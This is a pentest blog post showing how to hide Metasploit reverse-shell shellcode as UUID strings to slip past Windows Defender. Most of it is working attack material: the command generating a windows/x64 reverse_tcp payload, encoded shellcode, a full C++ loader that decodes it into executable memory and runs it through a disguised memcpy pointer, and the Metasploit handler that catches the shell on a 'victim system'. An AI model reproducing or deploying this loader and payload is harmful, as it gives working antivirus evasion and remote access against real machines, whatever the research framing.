{{tag>IT-Security Windows Kali pentest obfuscation blog english}}
====== Obfuscation: Disguise shellcode as UUIDs ======
{{it-security:blog:a3896ce4-2725-4074-8a65-98fb4aa4d0c3.webp?400x200|}}
In the last [[en:it-security:blog:shellcode_injection-4|blog post]] we dealt with the development of a calc.exe shellcode. The injection method that I used for testing was immediately blocked by Windows Defender. I therefore had to adapt the loader and shellcode accordingly.
I came up with the idea of converting the opcodes into a string array, which is filled with [[https://de.wikipedia.org/wiki/Universally_Unique_Identifier|UUIDs]] is filled. These then have to be converted back into bytes before injection. To do this, I wrote an encoder and decoder that does exactly this.
===== Tools =====
The encoder is part of my shellcode tool [[https://github.com/psycore8/shencode|ShenCode]], which is available as open source.
===== Step1: Prepare shellcode =====
==== generate ====
We create a payload without further encryption or encoding. This is usually recognised by Windows Defender.
python shencode.py create -c="-p windows/x64/shell/reverse_tcp LHOST=IPADDRESS LPORT=PORT -f raw -o shell_rev.raw"
==== encode ====
We now encode this payload as UUID strings.
python shencode.py encode -f shell_rev.raw -u
The output now looks something like this:
[*] try to open file
[+] reading 240906.001 successful!
[*] try to generate UUIDs
std::vector sID = {
"fce88f00-0000-6031-d264-8b523089e58b",
"520c8b52-148b-7228-0fb7-4a2631ff31c0",
"ac3c617c-022c-20c1-cf0d-01c74975ef52",
"578b5210-8b42-3c01-d08b-407885c0744c",
...
"c85fffd5-83f8-007d-2858-68004000006a",
"0050680b-2f0f-30ff-d557-68756e4d61ff",
"d55e5eff-0c24-0f85-70ff-ffffe99bffff",
"ff01c329-c675-c1c3-bbf0-b5a2566a0053",
"ffd5" };
[+] DONE!
===== Step 2: Write Inject.cpp =====
==== Header ====
=== obfuscated shellcode ===
We create a new C++ project and adopt the obfuscated string array that we created previously.
#include
#include
#include
#include
#include
#include
#pragma warning
std::vector sID = {
"fce88f00-0000-6031-d264-8b523089e58b",
"520c8b52-148b-7228-0fb7-4a2631ff31c0",
"ac3c617c-022c-20c1-cf0d-01c74975ef52",
"578b5210-8b42-3c01-d08b-407885c0744c",
...
"c85fffd5-83f8-007d-2858-68004000006a",
"0050680b-2f0f-30ff-d557-68756e4d61ff",
"d55e5eff-0c24-0f85-70ff-ffffe99bffff",
"ff01c329-c675-c1c3-bbf0-b5a2566a0053",
"ffd5" };
==== Encoding and injection ====
=== Remove superfluous characters ===
Firstly, we need a function to remove the ''-'' characters. We pass a string to this function, which is then cleaned up.
void removeDashes(std::string& str) {
str.erase(std::remove(str.begin(), str.end(), '-'), str.end());
}
=== Convert strings to bytes ===
The next function converts the UUID strings into executable bytes. The string array is run through piece by piece:
* Remove from ''-''
* Read 2 characters and return them as bytes
* When the string array has been run through, return the generated byte array to the caller
std::vector convertToBytes(const std::vector& inputStrings) {
std::vector byteArray;
for (const auto& str : inputStrings) {
std::string cleanStr = str;
removeDashes(cleanStr);
for (size_t i = 0; i < cleanStr.length(); i += 2) {
if (i + 1 < cleanStr.length()) {
std::string byteString = cleanStr.substr(i, 2);
uint8_t byte = static_cast(std::stoi(byteString, nullptr, 16));
byteArray.push_back(byte);
}
}
}
return byteArray;
}
=== Main programme ===
The main program initialises the variables, calls the conversion function, outputs the bytes to the console and then executes the injection.
To disguise this process somewhat, the function ''%%memcpy%%'' is not called directly, but linked to our own function via a pointer.
int main() {
std::vector input = sID;
std::vector result = convertToBytes(input);
unsigned char* Payload = reinterpret_cast(result.data());
size_t byteArrayLength = result.size();
std::cout << "[x] Payload size: " << byteArrayLength << " bytes" << std::endl;
for (size_t i = 0; i < byteArrayLength; ++i) {
std::cout << std::hex << std::setw(2) << std::setfill('0') << static_cast(Payload[i]) << " ";
if ((i + 1) % 8 == 0) {
std::cout << std::endl;
}
}
void* (*memcpyPtr) (void*, const void*, size_t);
void* exec = VirtualAlloc(0, byteArrayLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpyPtr = &memcpy;
memcpyPtr(exec, Payload, byteArrayLength);
((void(*)())exec)();
return 0;
}
===== Step 3: Test functionality =====
==== Metasploit handler ====
We start a Metasploit handler on the attack system to receive the reverse shell:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > run -p windows/x64/shell/reverse_tcp lhost=0.0.0.0 lport=15666
[*] Started reverse TCP handler on 0.0.0.0:15666
==== Compile Inject.cpp ====
We then compile our Inject.cpp as a 64-bit programme. We then copy this to the victim system. After the copying process, the file is not recognised. We scan it once manually with Windows Defender.
{{it-security:blog:2024-220-1.png}}
This also looks good.
==== Execute ====
We now execute the file and wait for the result.
Unfortunately, nothing happens at this point except waiting. A look at the shellcode also immediately reveals why this is the case:
"c85fffd5-83f8-007d-2858-68004000006a",
We have generated a raw payload from metasploit. This contains a lot of null bytes and these prevent correct execution. This was quite annoying as my first tests went through.
I repeated the whole process with metasploit's internal XOR encoder and defined null bytes as bad characters. This allowed me to spawn the shell, but the XOR decoder is detected in memory and Windows Defender sounds an alarm.
===== Conclusion =====
The UUID obfuscation works and protects the file when accessing the hard drive. After execution, memory protection is required to prevent detection. I will show this in the next part.
~~DISCUSSION~~